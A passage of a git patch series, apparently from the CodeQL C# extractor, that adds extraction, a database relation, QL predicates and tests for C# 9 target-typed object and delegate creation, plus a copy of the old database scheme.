b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/AnonymousObjectCreation.cs new file mode 100644 index 00000000000..718217bb720 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/AnonymousObjectCreation.cs @@ -0,0 +1,50 @@ +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Semmle.Extraction.Entities; +using Semmle.Extraction.Kinds; +using System.IO; + +namespace Semmle.Extraction.CSharp.Entities.Expressions +{ + internal class AnonymousObjectCreation : Expression + { + public AnonymousObjectCreation(ExpressionNodeInfo info) + : base(info.SetKind(ExprKind.OBJECT_CREATION)) { } + + public static Expression Create(ExpressionNodeInfo info) => + new AnonymousObjectCreation(info).TryPopulate(); + + protected override void PopulateExpression(TextWriter trapFile) + { + var target = cx.GetSymbolInfo(Syntax); + var method = (IMethodSymbol)target.Symbol; + + if (method != null) + { + trapFile.expr_call(this, Method.Create(cx, method)); + } + var child = 0; + + var objectInitializer = Syntax.Initializers.Any() ? + new Expression(new ExpressionInfo(cx, Type, Location, ExprKind.OBJECT_INIT, this, -1, false, null)) : + null; + + foreach (var init in Syntax.Initializers) + { + // Create an "assignment" + var property = cx.GetModel(init).GetDeclaredSymbol(init); + var propEntity = Property.Create(cx, property); + var type = Entities.Type.Create(cx, property.GetAnnotatedType()); + var loc = cx.Create(init.GetLocation()); + + var assignment = new Expression(new ExpressionInfo(cx, type, loc, ExprKind.SIMPLE_ASSIGN, objectInitializer, child++, false, null)); + Create(cx, init.Expression, assignment, 0); + Property.Create(cx, property); + + var access = new Expression(new ExpressionInfo(cx, type, loc, ExprKind.PROPERTY_ACCESS, assignment, 1, false, null)); + trapFile.expr_access(access, propEntity); + } + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/BaseObjectCreation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/BaseObjectCreation.cs new file mode 100644 index 00000000000..82b9899598d --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/BaseObjectCreation.cs @@ -0,0 +1,75 @@ +using System.IO; +using System.Linq; +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Semmle.Extraction.Kinds; + +namespace Semmle.Extraction.CSharp.Entities.Expressions +{ + internal abstract class BaseObjectCreation : Expression + where TExpressionSyntax : BaseObjectCreationExpressionSyntax + { + protected BaseObjectCreation(ExpressionNodeInfo info) + : base(info.SetKind(GetKind(info.Context, (BaseObjectCreationExpressionSyntax)info.Node))) + { + } + + protected override void PopulateExpression(TextWriter trapFile) + { + if (Syntax.ArgumentList != null) + { + PopulateArguments(trapFile, Syntax.ArgumentList, 0); + } + + var target = cx.GetModel(Syntax).GetSymbolInfo(Syntax); + if (target.Symbol is IMethodSymbol method) + { + trapFile.expr_call(this, Method.Create(cx, method)); + } + + if (IsDynamicObjectCreation(cx, Syntax)) + { + if (cx.GetModel(Syntax).GetTypeInfo(Syntax).Type is INamedTypeSymbol type && + !string.IsNullOrEmpty(type.Name)) + { + trapFile.dynamic_member_name(this, type.Name); + } + else + { + cx.ModelError(Syntax, "Unable to get name for dynamic object creation."); + } + } + + if (Syntax.Initializer != null) + { + switch (Syntax.Initializer.Kind()) + { + case SyntaxKind.CollectionInitializerExpression: + CollectionInitializer.Create(new ExpressionNodeInfo(cx, Syntax.Initializer, this, -1) { Type = Type }); + break; + case SyntaxKind.ObjectInitializerExpression: + ObjectInitializer.Create(new ExpressionNodeInfo(cx, Syntax.Initializer, this, -1) { Type = Type }); + break; + default: + cx.ModelError("Unhandled initializer in object creation"); + break; + } + } + } + + private static ExprKind GetKind(Context cx, BaseObjectCreationExpressionSyntax node) + { + var type = cx.GetModel(node).GetTypeInfo(node).Type; + return Entities.Type.IsDelegate(type as INamedTypeSymbol) + ? ExprKind.EXPLICIT_DELEGATE_CREATION + : ExprKind.OBJECT_CREATION; + } + + private static bool IsDynamicObjectCreation(Context cx, BaseObjectCreationExpressionSyntax node) + { + return node.ArgumentList != null && + node.ArgumentList.Arguments.Any(arg => IsDynamic(cx, arg.Expression)); + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/ExplicitObjectCreation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/ExplicitObjectCreation.cs new file mode 100644 index 00000000000..51b2db20a9e --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/ExplicitObjectCreation.cs @@ -0,0 +1,20 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax; +using System.IO; + +namespace Semmle.Extraction.CSharp.Entities.Expressions +{ + // new Foo(...) { ... }. + internal class ExplicitObjectCreation : BaseObjectCreation + { + private ExplicitObjectCreation(ExpressionNodeInfo info) : base(info) { } + + public static Expression Create(ExpressionNodeInfo info) => new ExplicitObjectCreation(info).TryPopulate(); + + protected override void PopulateExpression(TextWriter trapFile) + { + base.PopulateExpression(trapFile); + + TypeMention.Create(cx, Syntax.Type, this, Type); + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/ImplicitObjectCreation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/ImplicitObjectCreation.cs new file mode 100644 index 00000000000..2cc49d2d542 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ObjectCreation/ImplicitObjectCreation.cs @@ -0,0 +1,19 @@ +using System.IO; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Semmle.Extraction.CSharp.Entities.Expressions +{ + internal class ImplicitObjectCreation : BaseObjectCreation + { + private ImplicitObjectCreation(ExpressionNodeInfo info) : base(info) { } + + public static Expression Create(ExpressionNodeInfo info) => new ImplicitObjectCreation(info).TryPopulate(); + + protected override void PopulateExpression(TextWriter trapFile) + { + base.PopulateExpression(trapFile); + + trapFile.implicitly_typed_object_creation(this); + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs index b3eb2da999a..0e969e3d112 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs @@ -301,6 +301,11 @@ namespace Semmle.Extraction.CSharp trapFile.WriteTuple("implicitly_typed_array_creation", array); } + internal static void implicitly_typed_object_creation(this TextWriter trapFile, Expression expression) + { + trapFile.WriteTuple("implicitly_typed_object_creation", expression); + } + internal static void indexer_location(this TextWriter trapFile, Indexer indexer, Location location) { trapFile.WriteTuple("indexer_location", indexer, location); diff --git a/csharp/ql/src/semmle/code/csharp/exprs/Creation.qll b/csharp/ql/src/semmle/code/csharp/exprs/Creation.qll index bde4f4a319d..c9ae3919004 100644 --- a/csharp/ql/src/semmle/code/csharp/exprs/Creation.qll +++ b/csharp/ql/src/semmle/code/csharp/exprs/Creation.qll @@ -205,6 +205,9 @@ class ObjectCreation extends Call, LateBindableExpr, @object_creation_expr { */ ObjectOrCollectionInitializer getInitializer() { result = this.getChild(-1) } + /** Holds if the type of the created object is inferred. */ + predicate isImplicitlyTyped() { implicitly_typed_object_creation(this) } + override string toString() { result = "object creation of type " + this.getType().getName() } override Expr getRawArgument(int i) { @@ -271,6 +274,9 @@ class DelegateCreation extends Expr, @delegate_creation_expr { */ class ExplicitDelegateCreation extends DelegateCreation, @explicit_delegate_creation_expr { override string getAPrimaryQlClass() { result = "ExplicitDelegateCreation" } + + /** Holds if the type of the created delegate is inferred. */ + predicate isImplicitlyTyped() { implicitly_typed_object_creation(this) } } /** diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index b93e202508f..f5903552e30 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -1078,6 +1078,8 @@ case @expr.kind of @throw_element = @throw_expr | @throw_stmt; +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + implicitly_typed_array_creation( unique int id: @array_creation_expr ref); @@ -1087,6 +1089,9 @@ explicitly_sized_array_creation( stackalloc_array_creation( unique int id: @array_creation_expr ref); +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + mutator_invocation_mode( unique int id: @operator_invocation_expr ref, int mode: int ref /* prefix = 1, postfix = 2*/); diff --git a/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.cs b/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.cs new file mode 100644 index 00000000000..590490d43d5 --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.cs @@ -0,0 +1,22 @@ +using System; +using System.Collections.Generic; +using System.Linq; + +public class AnonObj +{ + private List l = new(); + + public int Prop1 { get; set; } + + public AnonObj M1(AnonObj t) + { + this.M1(new() { Prop1 = 1 }); + return new(); + } + + delegate void D(int x); + + void M2(int x) { } + + D GetM() { return new(M2); } +} \ No newline at end of file diff --git a/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.expected b/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.expected new file mode 100644 index 00000000000..0f845115541 --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.expected @@ -0,0 +1,6 @@ +implicitlyTypedObjectCreation +| AnonymousObjectCreation.cs:7:31:7:35 | object creation of type List | +| AnonymousObjectCreation.cs:13:17:13:35 | object creation of type AnonObj | +| AnonymousObjectCreation.cs:14:16:14:20 | object creation of type AnonObj | +implicitlyTypedDelegateCreation +| AnonymousObjectCreation.cs:21:23:21:29 | delegate creation of type D | diff --git a/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.ql b/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.ql new file mode 100644 index 00000000000..835e9c9dca5 --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/AnonymousObjectCreation.ql @@ -0,0 +1,9 @@ +import csharp + +query predicate implicitlyTypedObjectCreation(ObjectCreation creation) { + creation.isImplicitlyTyped() +} + +query predicate implicitlyTypedDelegateCreation(ExplicitDelegateCreation creation) { + creation.isImplicitlyTyped() +} diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index b99aeb89bc2..098b664e9a6 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -1,3 +1,50 @@ +AnonymousObjectCreation.cs: +# 5| [Class] AnonObj +# 7| 5: [Field] l +# 7| -1: [TypeMention] List +# 7| 1: [TypeMention] AnonObj +# 7| 1: [AssignExpr] ... = ... +# 7| 0: [FieldAccess] access to field l +# 7| 1: [ObjectCreation] object creation of type List +# 9| 6: [Property] Prop1 +# 9| -1: [TypeMention] int +# 9| 3: [Getter] get_Prop1 +# 9| 4: [Setter] set_Prop1 +#-----| 2: (Parameters) +# 9| 0: [Parameter] value +# 11| 7: [Method] M1 +# 11| -1: [TypeMention] AnonObj +#-----| 2: (Parameters) +# 11| 0: [Parameter] t +# 11| -1: [TypeMention] AnonObj +# 12| 4: [BlockStmt] {...} +# 13| 0: [ExprStmt] ...; +# 13| 0: [MethodCall] call to method M1 +# 13| -1: [ThisAccess] this access +# 13| 0: [ObjectCreation] object creation of type AnonObj +# 13| -1: [ObjectInitializer] { ..., ... } +# 13| 0: [MemberInitializer] ... = ... +# 13| 0: [PropertyCall] access to property Prop1 +# 13| 1: [IntLiteral] 1 +# 14| 1: [ReturnStmt] return ...; +# 14| 0: [ObjectCreation] object creation of type AnonObj +# 17| 8: [DelegateType] D +#-----| 2: (Parameters) +# 17| 0: [Parameter] x +# 17| -1: [TypeMention] int +# 19| 9: [Method] M2 +# 19| -1: [TypeMention] Void +#-----| 2: (Parameters) +# 19| 0: [Parameter] x +# 19| -1: [TypeMention] int +# 19| 4: [BlockStmt] {...} +# 21| 10: [Method] GetM +# 21| -1: [TypeMention] D +# 21| 4: [BlockStmt] {...} +# 21| 0: [ReturnStmt] return ...; +# 21| 0: [ExplicitDelegateCreation] delegate creation of type D +# 21| 0: [ImplicitDelegateCreation] delegate creation of type D +# 21| 0: [MethodAccess] access to method M2 Discard.cs: # 3| [Class] Discard # 5| 5: [Method] M1 diff --git a/csharp/upgrades/TO_CHANGE/upgrade.properties b/csharp/upgrades/TO_CHANGE/upgrade.properties new file mode 100644 index 00000000000..3cd65f1ce23 --- /dev/null +++ b/csharp/upgrades/TO_CHANGE/upgrade.properties @@ -0,0 +1,2 @@ +description: Added 'implicitly_typed_object_creation' and 'implicitly_typeable_object_creation_expr'. +compatibility: backwards From adba961634a1064e12148f29945a89c221c9be10 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Tue, 15 Dec 2020 09:24:01 +0100 Subject: [PATCH 0262/1241] Add DB upgrade folder --- .../old.dbscheme | 1894 ++++++++++++++++ .../semmlecode.csharp.dbscheme | 1899 +++++++++++++++++ .../upgrade.properties | 0 3 files changed, 3793 insertions(+) create mode 100644 csharp/upgrades/b93e202508f21bdf2e0d831e464c3b14187378cc/old.dbscheme create mode 100644 csharp/upgrades/b93e202508f21bdf2e0d831e464c3b14187378cc/semmlecode.csharp.dbscheme rename csharp/upgrades/{TO_CHANGE => b93e202508f21bdf2e0d831e464c3b14187378cc}/upgrade.properties (100%) diff --git a/csharp/upgrades/b93e202508f21bdf2e0d831e464c3b14187378cc/old.dbscheme b/csharp/upgrades/b93e202508f21bdf2e0d831e464c3b14187378cc/old.dbscheme new file mode 100644 index 00000000000..b93e202508f --- /dev/null +++ b/csharp/upgrades/b93e202508f21bdf2e0d831e464c3b14187378cc/old.dbscheme @@ -0,0 +1,1894 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = 